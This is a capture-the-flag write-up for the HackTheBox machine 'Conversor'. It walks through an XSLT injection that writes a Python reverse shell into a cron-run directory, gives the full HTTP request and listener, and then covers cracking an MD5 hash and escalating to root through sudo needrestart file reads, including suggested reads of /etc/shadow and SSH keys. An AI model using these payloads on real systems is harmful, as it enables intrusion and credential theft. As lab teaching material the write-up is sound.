Executive Summary

This write-up documents the complete exploitation chain for the "Conversor" machine on HackTheBox. The attack path leverages an XSLT injection vulnerability in a web application that processes Nmap XML files, combined with a cron job that executes Python scripts. The privilege escalation exploits a sudo misconfiguration allowing the execution of needrestart with elevated privileges, which can be abused to read arbitrary files as root.

Attack Chain Overview:

  1. Initial reconnaissance via Nmap
  2. Web application enumeration and source code analysis
  3. XSLT injection leading to arbitrary file write
  4. Reverse shell execution via cron job
  5. Database credential extraction
  6. SSH access with recovered credentials
  7. Privilege escalation via needrestart arbitrary file read

Initial Reconnaissance

Port Scanning

The initial reconnaissance phase began with a comprehensive Nmap scan to identify open ports and running services:

nmap -sCV -T4 -p- -oA nmap-full 10.129.5.4

Scan Results:

# Nmap 7.98 scan initiated Mon Jan 19 22:36:26 2026
Nmap scan report for conversor.htb (10.129.5.4)
Host is up (0.033s latency).
Not shown: 65533 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp  open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-title: Login
|_Requested resource was /login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Key Findings:

  • Port 22 (SSH): OpenSSH 8.9p1 - standard Ubuntu configuration
  • Port 80 (HTTP): Apache 2.4.52 hosting a web application with a login redirect

The limited attack surface suggests focusing efforts on the web application for initial foothold.


Web Application Analysis

Directory Enumeration

Using ffuf for directory discovery with the SecLists wordlist:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt:FUZZ \
     -u http://conversor.htb/FUZZ \
     -o ./Evidence/Scans/WebScan/directories_unlogged.txt

Discovered Endpoints:

Endpoint Status Description
/about 200 Information page with source code download
/convert 405 POST-only endpoint for file conversion
/javascript 301 Static resources directory
/login 200 Authentication page
/logout 302 Session termination endpoint
/register 200 User registration page
/server-status 403 Apache status page (forbidden)

Application Functionality

After registering an account and authenticating, the core functionality became apparent:

Conversor Application Purpose:
The application provides a service to convert Nmap XML scan files into HTML format using XSLT (Extensible Stylesheet Language Transformations) for customization. Users can upload:

  1. An XML file (Nmap scan output)
  2. An XSLT file (transformation stylesheet)

The application then processes these files and returns an HTML report.


Source Code Analysis

Accessing the Source Code

The /about page revealed a critical information disclosure - a "Download Source Code" button that provided complete access to the application's backend implementation.

Critical Vulnerability Discovery

Cron Job Configuration

Examining the source code revealed a cron job configured to execute Python scripts at regular intervals:

* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done

Exploitation Implications:

  • Runs every minute as the www-data user
  • Executes all Python files in /var/www/conversor.htb/scripts/
  • Provides a potential code execution vector if we can write to this directory

XSLT Injection Vulnerability

The vulnerable code in app.py:

def convert():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    
    xml_file = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    
    from lxml import etree
    
    xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
    xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
    
    xml_file.save(xml_path)
    xslt_file.save(xslt_path)
    
    try:
        parser = etree.XMLParser(
            resolve_entities=False, 
            no_network=True,
            dtd_validation=False, 
            load_dtd=False
        )
        xml_tree = etree.parse(xml_path, parser)
        xslt_tree = etree.parse(xslt_path)
        transform = etree.XSLT(xslt_tree)
        result_tree = transform(xml_tree)
        result_html = str(result_tree)
        
        file_id = str(uuid.uuid4())
        filename = f"{file_id}.html"
        html_path = os.path.join(UPLOAD_FOLDER, filename)
        
        with open(html_path, "w") as f:
            f.write(result_html)
        
        conn = get_db()
        conn.execute(
            "INSERT INTO files (id,user_id,filename) VALUES (?,?,?)",
            (file_id, session['user_id'], filename)
        )
        conn.commit()
        conn.close()
        
        return redirect(url_for('index'))
    except Exception as e:
        return f"Error: {e}"

Vulnerability Analysis:

While the XML parser has protections against XXE (XML External Entity) attacks through disabled entity resolution, the XSLT processing lacks critical security controls:

  1. No XSLT sanitization - User-supplied XSLT is parsed and executed without validation
  2. Full XSLT 1.0 capabilities - The lxml library supports powerful XSLT features including file operations
  3. Error disclosure - Exceptions are returned to the user, aiding exploitation

XSLT Security Context:

XSLT is a Turing-complete language with extensive capabilities beyond simple transformations. The EXSLT extensions (supported by lxml) provide file system operations through the exsl:document element, allowing arbitrary file writes with the privileges of the web server process.


Exploitation: XSLT Injection to RCE

Phase 1: Information Gathering

First, I verified the XSLT processor version and capabilities:

Request:

POST /convert HTTP/1.1
Host: conversor.htb
Content-Type: multipart/form-data; boundary=----geckoformboundary85e66f7c5762e676e50a46a257316b27
Cookie: session=eyJ1c2VyX2lkIjozNjYsInVzZXJuYW1lIjoiQSJ9.aW6qhw.rE98TRqsZiID9FD4fdzwtegRsGU

------geckoformboundary85e66f7c5762e676e50a46a257316b27
Content-Disposition: form-data; name="xml_file"; filename="test.xml"
Content-Type: text/xml

<?xml version="1.0"?>
<root>test</root>

------geckoformboundary85e66f7c5762e676e50a46a257316b27
Content-Disposition: form-data; name="xslt_file"; filename="probe.xslt"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" 
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:php="http://php.net/xsl">
<body>
<br />Version: <xsl:value-of select="system-property('xsl:version')" />
<br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</body>
</html>

------geckoformboundary85e66f7c5762e676e50a46a257316b27--

Response:

Version: 1.0
Vendor: libxslt
Vendor URL: http://xmlsoft.org/XSLT/

This confirmed the use of libxslt, which supports EXSLT extensions including the critical exsl:document function for file writes.

Phase 2: Weaponizing XSLT for File Write

The exploitation strategy:

  1. Use exsl:document to write a Python reverse shell to /var/www/conversor.htb/scripts/
  2. Wait for the cron job to execute our malicious script
  3. Catch the reverse shell connection

Malicious XSLT Payload:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:exsl="http://exslt.org/common"
    extension-element-prefixes="exsl">
    
    <xsl:template match="/">
        <exsl:document href="/var/www/conversor.htb/scripts/evil.py" method="text">
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.92",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])
        </exsl:document>
        <result>File write attempted!</result>
    </xsl:template>
</xsl:stylesheet>

Exploitation Technique Breakdown:

  • exsl:document: EXSLT function that writes content to a specified file path
  • href attribute: Target file path (writable by www-data)
  • method="text": Ensures raw text output without XML formatting
  • Payload: Standard Python reverse shell connecting to attacker's listener

Complete HTTP Request:

POST /convert HTTP/1.1
Host: conversor.htb
Content-Type: multipart/form-data; boundary=----geckoformboundary85e66f7c5762e676e50a46a257316b27
Content-Length: 1075
Cookie: session=eyJ1c2VyX2lkIjozNjYsInVzZXJuYW1lIjoiQSJ9.aW6qhw.rE98TRqsZiID9FD4fdzwtegRsGU

------geckoformboundary85e66f7c5762e676e50a46a257316b27
Content-Disposition: form-data; name="xml_file"; filename="test.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8"?>
<data>test</data>

------geckoformboundary85e66f7c5762e676e50a46a257316b27
Content-Disposition: form-data; name="xslt_file"; filename="evil.xslt"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:exsl="http://exslt.org/common"
    extension-element-prefixes="exsl">
    
    <xsl:template match="/">
        <exsl:document href="/var/www/conversor.htb/scripts/evil.py" method="text">
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.92",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])
        </exsl:document>
        <result>File write attempted!</result>
    </xsl:template>
</xsl:stylesheet>

------geckoformboundary85e66f7c5762e676e50a46a257316b27--

Phase 3: Catching the Reverse Shell

Setting up the listener:

nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.92] from (UNKNOWN) [10.129.5.4] 50464
bash: cannot set terminal process group (19598): Inappropriate ioctl for device
bash: no job control in this shell
www-data@conversor:~$

Post-Exploitation: User Access

Database Enumeration

Exploring the application directory revealed a SQLite database:

www-data@conversor:~$ cd /var/www/conversor.htb
www-data@conversor:/var/www/conversor.htb$ ls -la
total 12
drwxr-xr-x  3 www-data www-data 4096 Aug 15 08:19 .
drwxr-xr-x 13 root     root     4096 Jul 31 03:55 ..
-rw-r--r--  1 root     root        0 Jul 31 03:55 __init__.py
drwxr-xr-x  2 www-data www-data 4096 Aug 15 08:19 instance

www-data@conversor:~$ sqlite3 /var/www/conversor.htb/instance/users.db
SQLite version 3.37.2 2022-01-06 13:25:41
sqlite> .tables
files
users
sqlite> SELECT * FROM users;

Retrieved User Credentials:

ID Username Password Hash (MD5)
1 fismathack 5b5c3ac3a1c8****************71fdec

Password Cracking

Analyzing the source code revealed the password hashing scheme:

password = hashlib.md5(request.form['password'].encode()).hexdigest()

The application uses unsalted MD5 hashing - a completely broken cryptographic approach vulnerable to rainbow table attacks.

Cracking with CrackStation:

Submitting 5b5c3ac3a1c8****************71fdec to CrackStation immediately revealed:

Plaintext: Keep************warm

SSH Authentication

ssh fismathack@conversor.htb
fismathack@conversor.htb's password: Keep************warm

User Flag Acquired:

fismathack@conversor:~$ cat user.txt
[USER_FLAG_HERE]

Privilege Escalation: Needrestart Arbitrary File Read

Sudo Privileges Enumeration

fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass, 
    secure_path=/usr/local/sbin:\usr/local/bin:\usr/sbin:\usr/bin:\sbin:\bin:\snap/bin,
    use_pty

User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

Needrestart Exploitation

What is needrestart?

needrestart is a utility that checks which services need restarting after library upgrades. It typically runs automatically after package updates but can also be invoked manually.

Vulnerability Context:

The tool accepts a -c flag to specify a custom configuration file. When needrestart attempts to parse this configuration file, it reads the entire contents, and any parsing errors are displayed to the user - including the file contents that caused the error.

Exploitation Technique:

By specifying an arbitrary file as the "configuration file", we can force needrestart to read and display its contents through error messages, effectively achieving arbitrary file read with root privileges.

Root Flag Extraction:

fismathack@conversor:~$ sudo needrestart -c /root/root.txt

Output:

Bareword found where operator expected at (eval 14) line 1, near "8d10dd****************76ff6"
    (Missing operator before dd****************76ff6?)
Error parsing /root/root.txt: syntax error at (eval 14) line 2, near "8d10dd****************76ff6"

The root flag is leaked in the error message: 8d10dd****************76ff6

Alternative Exploitation Paths:

This arbitrary file read vulnerability could also be leveraged to:

  • Extract /etc/shadow for offline password cracking
  • Read SSH private keys from /root/.ssh/id_rsa
  • Exfiltrate sensitive configuration files
  • Read application secrets and database credentials

Attack Surface Summary:

Vector Severity Exploitability Impact
XSLT Injection Critical High RCE as www-data
Weak Password Hashing High High User compromise
Sudo Misconfiguration High Medium Root privilege escalation

This machine serves as an excellent example of how multiple "medium" severity issues can chain together to achieve complete system compromise, reinforcing the importance of comprehensive security practices at every layer.